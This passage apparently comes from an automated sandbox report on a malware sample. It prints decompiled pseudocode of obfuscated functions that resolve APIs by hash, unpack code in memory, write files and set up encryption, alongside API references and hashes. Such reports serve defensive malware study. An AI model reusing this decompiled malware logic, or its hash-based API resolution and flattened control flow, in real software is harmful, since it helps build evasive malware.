				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t131 = _t58 - 0xea5411f;
							if(_t131 > 0) {
								break;
							}
							if(_t131 == 0) {
								_t73 = E006234C0(0x62d970);
								_t122 =  *0x62e158;
								_t127 = _t73;
								if(_t122 == 0) {
									_t122 = E00623E60(_t96, E00623F00(0xc6fbcd74), 0xba71dd03, _t128);
									 *0x62e158 = _t122;
								}
								_t101 =  *0x62e54c; // 0x8ddff8
								_t50 = _t101 + 0x260; // 0x8de258
								_t51 = _t101 + 0x18; // 0x8de010
								 *_t122( &_v524, 0x104, _t127, _t51, _t50);
								_t78 =  *0x62e494;
								_t129 =  &(_t129[5]);
								if(_t78 == 0) {
									_t83 = E00623F00(0x9bab0b12);
									_t122 = 0x7facde30;
									_t78 = E00623E60(_t96, _t83, 0x7facde30, _t128);
									 *0x62e494 = _t78;
								}
								_t125 =  *_t78();
								_t80 =  *0x62df30;
								if(_t80 == 0) {
									_t82 = E00623F00(0x9bab0b12);
									_t122 = 0x5010a54d;
									_t80 = E00623E60(_t96, _t82, 0x5010a54d, _t128);
									 *0x62df30 = _t80;
								}
								 *_t80(_t125, 0, _t127);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t86 =  *0x62e1d4;
									if(_t86 == 0) {
										_t88 = E00623F00(0x9bab0b12);
										_t122 = 0xa229df38;
										_t86 = E00623E60(_t96, _t88, 0xa229df38, _t128);
										 *0x62e1d4 = _t86;
									}
									 *_t86( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t89 = _v568;
										_t105 = _v572;
										_v560 = _t89;
										_v552 = _t89;
										_v544 = _t89;
										_v536 = _t89;
										_t90 =  *0x62dee4;
										_v564 = _t105;
										_v556 = _t105;
										_v548 = _t105;
										_v540 = _t105;
										_v532 = 0;
										if(_t90 == 0) {
											_t92 = E00623F00(0x9bab0b12);
											_t122 = 0x4bf45878;
											_t90 = E00623E60(_t96, _t92, 0x4bf45878, _t128);
											 *0x62dee4 = _t90;
										}
										 *_t90(_t128, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t96 =  !=  ? 1 : _t96;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E0062B6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t122;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x62de04 == 0) {
								_t66 = E00623F00(0x9bab0b12);
								_t122 = 0xb66d748a;
								 *0x62de04 = E00623E60(_t96, _t66, 0xb66d748a, _t128);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t128 = _t64;
							if(_t128 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									if( *0x62de3c == 0) {
										 *0x62de3c = E00623E60(_t96, E00623F00(0x9bab0b12), 0x20de7595, _t128);
									}
									CloseHandle(_t128); // executed
									L34:
									return _t96;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t96;
					goto L35;
				}
			}

0x006280a0
0x006280a0
0x006280a6
0x006280ae
0x006280b3
0x006280bb
0x006280c3
0x006280ca
0x006280ce
0x006280d2
0x006280d9
0x006280e0
0x006280e7
0x006280ee
0x006280f5
0x006280fc
0x00628103
0x00628112
0x00628116
0x00628119
0x0062811d
0x00628125
0x00628133
0x00628137
0x0062813f
0x00628147
0x0062814f
0x00628153
0x0062815b
0x00628163
0x00628163
0x00628168
0x00628170
0x00628170
0x00628170
0x00628170
0x00628175
0x00000000
0x00000000
0x0062817b
0x0062828c
0x00628291
0x00628297
0x0062829b
0x006282b3
0x006282b5
0x006282b5
0x006282bb
0x006282c1
0x006282c8
0x006282d7
0x006282d9
0x006282de
0x006282e3
0x006282ea
0x006282ef
0x006282f6
0x006282fb
0x006282fb
0x00628302
0x00628304
0x0062830b
0x00628312
0x00628317
0x0062831e
0x00628323
0x00628323
0x0062832c
0x0062832e
0x00000000
0x00628181
0x00628186
0x00628252
0x00628259
0x00628260
0x00628265
0x0062826c
0x00628271
0x00628271
0x0062827b
0x0062827d
0x00000000
0x0062818c
0x00628191
0x006281e3
0x006281e7
0x006281eb
0x006281ef
0x006281f3
0x006281f7
0x006281fb
0x00628200
0x00628204
0x00628208
0x0062820c
0x00628210
0x0062821a
0x00628221
0x00628226
0x0062822d
0x00628232
0x00628232
0x00628241
0x00628245
0x0062824a
0x00000000
0x00628193
0x00628198
0x00000000
0x0062819e
0x006281a0
0x006281a8
0x006281c4
0x006281c8
0x006281d4
0x006281d8
0x006281dd
0x00000000
0x006281dd
0x00628198
0x00628191
0x00628186
0x00000000
0x0062817b
0x0062833d
0x00628377
0x0062837e
0x00628383
0x00628391
0x00628391
0x006283b4
0x006283b6
0x006283bb
0x00000000
0x006283bd
0x006283bd
0x00000000
0x006283bd
0x0062833f
0x00628344
0x00628365
0x00000000
0x00628346
0x0062834b
0x006283ce
0x006283e6
0x006283e6
0x006283ec
0x006283f1
0x006283fa
0x00000000
0x00000000
0x00000000
0x0062834b
0x00628344
0x00000000
0x0062834d
0x0062834d
0x00628364
0x00000000
0x00628364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 006283B4
CloseHandle.KERNELBASE(?,?,3251FEFE,?,?), ref: 006283EC

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 0b6ce53e28fd67440e6a2a604a9701c1596f3125581d394d2d34e572efdb7926
Instruction ID: 4dc6b3093db45a33b6b9054c2b79643765d86dc5d162fa7f812b410e50b5b262
Opcode Fuzzy Hash: 0b6ce53e28fd67440e6a2a604a9701c1596f3125581d394d2d34e572efdb7926
Instruction Fuzzy Hash: 5981B070609B218FD758DF68EC4466BB7E6AB94744F00082EF185CB390EB78DD068F96

Uniqueness

Uniqueness Score: -1.00%

Function 00610580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00610F08
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00610F3E
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00610F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 0061061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 0061069C

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: 4b2f037bdf8f091a50015758410b66cba27b4c2b38973683b9d87bf8fb27a805
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: BA3178B365420127FB24DA2ADC45BEBA3C6EBD1354F0C083AFA04C2240D5AED5E8C2A5

Uniqueness

Uniqueness Score: -1.00%

Function 00625CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E006265E0();
				if( *0x62ddb8 == 0) {
					 *0x62ddb8 = E00623E60(_t5, E00623F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x00625ce0
0x00625cec
0x00625d04
0x00625d04
0x00625d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 00625D0B

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a632808080fbf35f54b82d6e395d074edbda95140617d92901577043beb0cf2b
Instruction ID: 5649396b6e66a87ce5725702e5a25016dc997b52fd2eba9df758be38a3cfe5a0
Opcode Fuzzy Hash: a632808080fbf35f54b82d6e395d074edbda95140617d92901577043beb0cf2b
Instruction Fuzzy Hash: 52D0C930744E3546DBA4ABB5B84576A259B4FA0748F10581EF411CB3DAEE248911AB58

Uniqueness

Uniqueness Score: -1.00%

Function 00610AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00610F08
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00610F3E
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00610F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 00610BFF

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 15ceecb7908ff137aa2c9993ea87659b3394163f8a4507db2c084084ac5da06a
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: 8051F470A40218BBEB209B54DE45FEAB7B9EF54701F104095FA08B7290D6F85DC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00627080, Relevance: 1.5, APIs: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00627080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E006234C0(__ecx);
				if( *0x62dd1c == 0) {
					 *0x62dd1c = E00623E60(__ebx, E00623F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x62e548; // 0x917e10
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x62e494;
				if(_t7 == 0) {
					_t7 = E00623E60(_t15, E00623F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x62e494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x62df30;
				if(_t9 == 0) {
					_t9 = E00623E60(_t15, E00623F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x62df30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x00627080
0x00627082
0x00627089
0x00627092
0x006270aa
0x006270aa
0x006270b0
0x006270b2
0x006270b8
0x006270bc
0x006270c3
0x006270d6
0x006270db
0x006270db
0x006270e2
0x006270e4
0x006270eb
0x006270fe
0x00627103
0x00627103
0x00627110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,0062721D,006268AC), ref: 006270B0

Memory Dump Source

Source File: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Offset: 00620000, based on PE: true

Associated: 0000000E.00000002.2292147578.0000000000620000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292182201.000000000062D000.00000004.00000001.sdmp Download File
Associated: 0000000E.00000002.2292198739.000000000062F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_620000_cryptdll.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 829d4cc04045ef2564ae13e431f6c95c7ac99c31cb50657269d09b89fdf4ae8b
Instruction ID: 64bea4856d5b2eae2762abf9c2ff77ee8d037a0968beeee47d54d066292e2f10
Opcode Fuzzy Hash: 829d4cc04045ef2564ae13e431f6c95c7ac99c31cb50657269d09b89fdf4ae8b
Instruction Fuzzy Hash: C201A730714A310B9BA4BF79BD4166B26EB9FD0744710443DA415C7355EF39CD025F85

Uniqueness

Uniqueness Score: -1.00%

Function 00610170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00610F08
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00610F3E
Part of subcall function 00610FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00610F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 006102F6

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: c08aa1e59275224a9e79f35bea6a99832d69598a42f3b2f59e91f94196eb0dc3
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: 3B5138B1900269ABDF20DF64DD88BDEB779EF88700F044499F509B7250DBB45AC58FA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00610010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Two, xrefs: 00610065
Three, xrefs: 00610072
Seven, xrefs: 006100A6
Ten, xrefs: 006100CD
Six, xrefs: 00610099
Nine, xrefs: 006100C0
One, xrefs: 0061005B
Five, xrefs: 0061008C
Eight, xrefs: 006100B3
Four, xrefs: 0061007F

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 06e5491952483e4be854ed556e23349e610d97d3371ec7fa27da59902b208087
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 84313D38E411289BCB04DB98CD81AED7BB6FF4C340B508027D502B37A4DB789986CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 006106F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 6a274374a4a38b12ad334f85b1a0accd2dd7400df329226075f2c17df7ab9fbe
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 6851E971A083016BEF90DF26C8417DBB3DA9BD8794F0C052EF548E7240E6B5D9C48796

Uniqueness

Uniqueness Score: -1.00%

Function 006108F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2292138449.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_610000_cryptdll.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: 3f4334b764b7a3900112d69a4d886dcc8163ab982db67782f253d0b16b8d1387
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: 3A4149716143056BEB24DA29DC46BEBB2DBAFC4741F0C483EF640D6241D6B0D5C887A9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wlanui.exe PID: 2832 Parent PID: 2728 wlanui.exeCOMMON

Executed Functions

Function 00460400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 00460448

Part of subcall function 00461140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,00460EFD,00000000), ref: 00461155

NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00000018,00401010), ref: 00460463
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 00460484
HeapFree.KERNEL32(00000000,00000001,00000000), ref: 0046048D
GetProcessHeap.KERNEL32(?,00401010,00000000,?), ref: 00460492
RtlAllocateHeap.NTDLL(00000000,00000001,00401010), ref: 0046049F
GetCurrentProcess.KERNEL32(?,00401010,00000000,?), ref: 004604A6
NtQueryInformationProcess.NTDLL(00000000,00000000,00000000,00401010,00401010), ref: 004604B9
RtlMoveMemory.NTDLL(00000000,00000000,00000018), ref: 004604E0
RtlMoveMemory.NTDLL(00000000,?,00000014), ref: 004604F7
RtlMoveMemory.NTDLL(?,00000000,00000014), ref: 00460519
RtlMoveMemory.NTDLL(00000000,00000000,00000024), ref: 00460530
RtlMoveMemory.NTDLL(00000000,?,00000048), ref: 00460547
RtlMoveMemory.NTDLL(00000000,00000000,00000048), ref: 00460562

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID: MemoryMoveProcess$Heap$CurrentInformationQuery$AllocateFreelstrcpyn
String ID:
API String ID: 482429597-0
Opcode ID: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction ID: 68911fea6f17f78391ef555e3d64a9fc5ad921b276480bb028cfe6591c855db7
Opcode Fuzzy Hash: 9b0dd4097f43c0ebb4e34693010eb75d6d5af0ab7a67fa55d809036932efe504
Instruction Fuzzy Hash: 4A4151B19143406EE710EB62C846FAFB3EDAB89744F048D1EB744D7251EA7CD9048B6B

Uniqueness

Uniqueness Score: -1.00%

Function 004825E0, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 249
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E004825E0(intOrPtr* __ecx) {
				char _v4;
				char _v8;
				intOrPtr _v32;
				intOrPtr* _t16;
				signed int _t17;
				intOrPtr _t18;
				intOrPtr* _t21;
				intOrPtr _t24;
				intOrPtr* _t25;
				intOrPtr* _t29;
				signed int _t30;
				intOrPtr* _t31;
				intOrPtr* _t33;
				intOrPtr* _t38;
				intOrPtr* _t39;
				intOrPtr* _t43;
				intOrPtr _t45;
				signed int _t46;
				intOrPtr* _t49;
				void* _t57;
				intOrPtr _t59;
				intOrPtr _t76;
				intOrPtr _t81;
				intOrPtr _t87;
				intOrPtr* _t92;
				intOrPtr* _t93;
				intOrPtr* _t100;
				intOrPtr* _t106;
				void* _t107;
				signed int _t108;
				intOrPtr _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t106 = __ecx;
				_t108 = 0xd12bb4;
				goto L1;
				do {
					while(1) {
						L1:
						_t122 = _t108 - 0x2628db0d;
						if(_t122 > 0) {
							break;
						}
						if(_t122 == 0) {
							_t16 =  *0x48e4d8;
							__eflags = _t16;
							if(_t16 == 0) {
								_t16 = E00483E60(_t57, E00483F00(0x26f5757c), 0x524c2105, _t120);
								 *0x48e4d8 = _t16;
							}
							_t59 =  *0x48e544; // 0x314640
							_t17 =  *_t16(_t59 + 0xc, 0, 0, 0x18, 0xf0000040); // executed
							asm("sbb esi, esi");
							_t108 = ( ~_t17 & 0x17df3f88) + 0xd8f2d46;
							continue;
						} else {
							_t123 = _t108 - 0xd8f2d46;
							if(_t123 > 0) {
								__eflags = _t108 - 0x1d3a2703;
								if(_t108 == 0x1d3a2703) {
									_t92 =  *0x48dfcc;
									__eflags = _t92;
									if(_t92 == 0) {
										_t92 = E00483E60(_t57, E00483F00(0x26f5757c), 0xdd726439, _t120);
										 *0x48dfcc = _t92;
									}
									_t18 =  *0x48e544; // 0x314640
									_t5 = _t18 + 8; // 0x314648
									_t8 = _t18 + 0xc; // 0x2d80778
									 *_t92( *_t8, _v8, _v4, 0, 0, _t5);
									asm("sbb esi, esi");
									_t21 =  *0x48dcfc;
									_t108 = (_t108 & 0xf499d49f) + 0x344059be;
									__eflags = _t21;
									if(_t21 == 0) {
										_t21 = E00483E60(_t57, E00483F00(0x9bab0b12), 0x94189a2, _t120);
										 *0x48dcfc = _t21;
									}
									 *_t21(_v32);
									goto L22;
								} else {
									__eflags = _t108 - 0x256e6cce;
									if(_t108 != 0x256e6cce) {
										goto L22;
									} else {
										_t29 =  *0x48de74;
										__eflags = _t29;
										if(_t29 == 0) {
											_t29 = E00483E60(_t57, E00483F00(0x1829db83), 0xdee5385b, _t120);
											 *0x48de74 = _t29;
										}
										_t30 =  *_t29(0x10001, 0x13,  *_t106,  *((intOrPtr*)(_t106 + 4)), 0x8000, 0,  &_v8,  &_v4); // executed
										asm("sbb esi, esi");
										_t108 = ( ~_t30 & 0xe8f9cd45) + 0x344059be;
										continue;
									}
								}
							} else {
								if(_t123 == 0) {
									_t31 =  *0x48e494;
									_t119 =  *0x48e544; // 0x314640
									__eflags = _t31;
									if(_t31 == 0) {
										_t31 = E00483E60(_t57, E00483F00(0x9bab0b12), 0x7facde30, _t120);
										 *0x48e494 = _t31;
									}
									_t107 =  *_t31();
									_t33 =  *0x48df30;
									__eflags = _t33;
									if(_t33 == 0) {
										_t33 = E00483E60(_t57, E00483F00(0x9bab0b12), 0x5010a54d, _t120);
										 *0x48df30 = _t33;
									}
									 *_t33(_t107, 0, _t119);
									__eflags = 0;
									return 0;
								} else {
									if(_t108 == 0xd12bb4) {
										_t38 = E004842C0(_t57, 0x2c);
										 *0x48e544 = _t38;
										__eflags = _t38;
										if(_t38 == 0) {
											goto L23;
										} else {
											_t108 = 0x2628db0d;
											continue;
										}
									} else {
										if(_t108 != 0xc4be8e9) {
											goto L22;
										} else {
											_t39 =  *0x48db2c; // 0x0
											if(_t39 == 0) {
												_t39 = E00483E60(_t57, E00483F00(0x26f5757c), 0x16451606, _t120);
												 *0x48db2c = _t39;
											}
											_t76 =  *0x48e544; // 0x314640
											_t1 = _t76 + 0x10; // 0x2d80b20
											 *_t39( *_t1);
											_t108 = 0x3391fecf;
											continue;
										}
									}
								}
							}
						}
						L51:
					}
					__eflags = _t108 - 0x344059be;
					if(__eflags > 0) {
						__eflags = _t108 - 0x39e547fe;
						if(_t108 != 0x39e547fe) {
							goto L22;
						} else {
							_t93 =  *0x48dea8;
							__eflags = _t93;
							if(_t93 == 0) {
								_t93 = E00483E60(_t57, E00483F00(0x26f5757c), 0x37463e2d, _t120);
								 *0x48dea8 = _t93;
							}
							_t24 =  *0x48e544; // 0x314640
							_t14 = _t24 + 0x1c; // 0x31465c
							_t15 = _t24 + 0xc; // 0x2d80778
							_t25 =  *_t93( *_t15, 0x8004, 0, 0, _t14);
							__eflags = _t25;
							if(_t25 != 0) {
								return 1;
							} else {
								_t108 = 0xc4be8e9;
								goto L1;
							}
						}
					} else {
						if(__eflags == 0) {
							_t43 =  *0x48dc90; // 0x0
							__eflags = _t43;
							if(_t43 == 0) {
								_t43 = E00483E60(_t57, E00483F00(0x26f5757c), 0x31bce963, _t120);
								 *0x48dc90 = _t43;
							}
							_t81 =  *0x48e544; // 0x314640
							_t13 = _t81 + 0xc; // 0x2d80778
							 *_t43( *_t13, 0);
							_t108 = 0xd8f2d46;
							goto L1;
						} else {
							__eflags = _t108 - 0x28da2e5d;
							if(_t108 == 0x28da2e5d) {
								_t100 =  *0x48de5c;
								__eflags = _t100;
								if(_t100 == 0) {
									_t100 = E00483E60(_t57, E00483F00(0x26f5757c), 0x295786c8, _t120);
									 *0x48de5c = _t100;
								}
								_t45 =  *0x48e544; // 0x314640
								_t11 = _t45 + 0x10; // 0x314650
								_t12 = _t45 + 0xc; // 0x2d80778
								_t46 =  *_t100( *_t12, 0x660e, 1, _t11);
								asm("sbb esi, esi");
								_t108 = ( ~_t46 & 0x0653492f) + 0x3391fecf;
								goto L1;
							} else {
								__eflags = _t108 - 0x3391fecf;
								if(_t108 != 0x3391fecf) {
									goto L22;
								} else {
									_t49 =  *0x48db2c; // 0x0
									__eflags = _t49;
									if(_t49 == 0) {
										_t49 = E00483E60(_t57, E00483F00(0x26f5757c), 0x16451606, _t120);
										 *0x48db2c = _t49;
									}
									_t87 =  *0x48e544; // 0x314640
									_t10 = _t87 + 8; // 0x2d809c8
									 *_t49( *_t10);
									_t108 = 0x344059be;
									goto L1;
								}
							}
						}
					}
					goto L51;
					L22:
					__eflags = _t108 - 0x1ee1b4ef;
				} while (_t108 != 0x1ee1b4ef);
				L23:
				__eflags = 0;
				return 0;
				goto L51;
			}

0x004825e5
0x004825e7
0x004825e7
0x004825f0
0x004825f0
0x004825f0
0x004825f0
0x004825f6
0x00000000
0x00000000
0x004825fc
0x00482779
0x0048277e
0x00482780
0x00482793
0x00482798
0x00482798
0x0048279d
0x004827b2
0x004827b8
0x004827c0
0x00000000
0x00482602
0x00482602
0x00482608
0x0048267b
0x00482681
0x004826e9
0x004826ef
0x004826f1
0x00482709
0x0048270b
0x0048270b
0x00482711
0x00482716
0x00482726
0x00482729
0x0048272d
0x0048272f
0x0048273a
0x00482740
0x00482742
0x00482755
0x0048275a
0x0048275a
0x00482763
0x00000000
0x00482683
0x00482683
0x00482689
0x00000000
0x0048268f
0x0048268f
0x00482694
0x00482696
0x004826a9
0x004826ae
0x004826ae
0x004826d0
0x004826d6
0x004826de
0x00000000
0x004826de
0x00482689
0x0048260a
0x0048260a
0x00482912
0x00482917
0x0048291d
0x0048291f
0x00482932
0x00482937
0x00482937
0x0048293e
0x00482940
0x00482945
0x00482947
0x0048295a
0x0048295f
0x0048295f
0x00482968
0x0048296b
0x00482971
0x00482610
0x00482616
0x0048265f
0x00482664
0x00482669
0x0048266b
0x00000000
0x00482671
0x00482671
0x00000000
0x00482671
0x00482618
0x0048261e
0x00000000
0x00482624
0x00482624
0x0048262b
0x0048263e
0x00482643
0x00482643
0x00482648
0x0048264e
0x00482651
0x00482653
0x00000000
0x00482653
0x0048261e
0x00482616
0x0048260a
0x00482608
0x00000000
0x004825fc
0x004827cb
0x004827d1
0x004828b9
0x004828bf
0x00000000
0x004828c5
0x004828c5
0x004828cb
0x004828cd
0x004828e5
0x004828e7
0x004828e7
0x004828ed
0x004828f2
0x004828ff
0x00482902
0x00482904
0x00482906
0x0048297c
0x00482908
0x00482908
0x00000000
0x00482908
0x00482906
0x004827d7
0x004827d7
0x0048287e
0x00482883
0x00482885
0x00482898
0x0048289d
0x0048289d
0x004828a2
0x004828aa
0x004828ad
0x004828af
0x00000000
0x004827dd
0x004827dd
0x004827e3
0x0048282a
0x00482830
0x00482832
0x0048284a
0x0048284c
0x0048284c
0x00482852
0x00482857
0x00482862
0x00482865
0x0048286b
0x00482873
0x00000000
0x004827e5
0x004827e5
0x004827eb
0x00000000
0x004827f1
0x004827f1
0x004827f6
0x004827f8
0x0048280b
0x00482810
0x00482810
0x00482815
0x0048281b
0x0048281e
0x00482820
0x00000000
0x00482820
0x004827eb
0x004827e3
0x004827d7
0x00000000
0x00482765
0x00482765
0x00482765
0x00482772
0x00482772
0x00482778
0x00000000

APIs

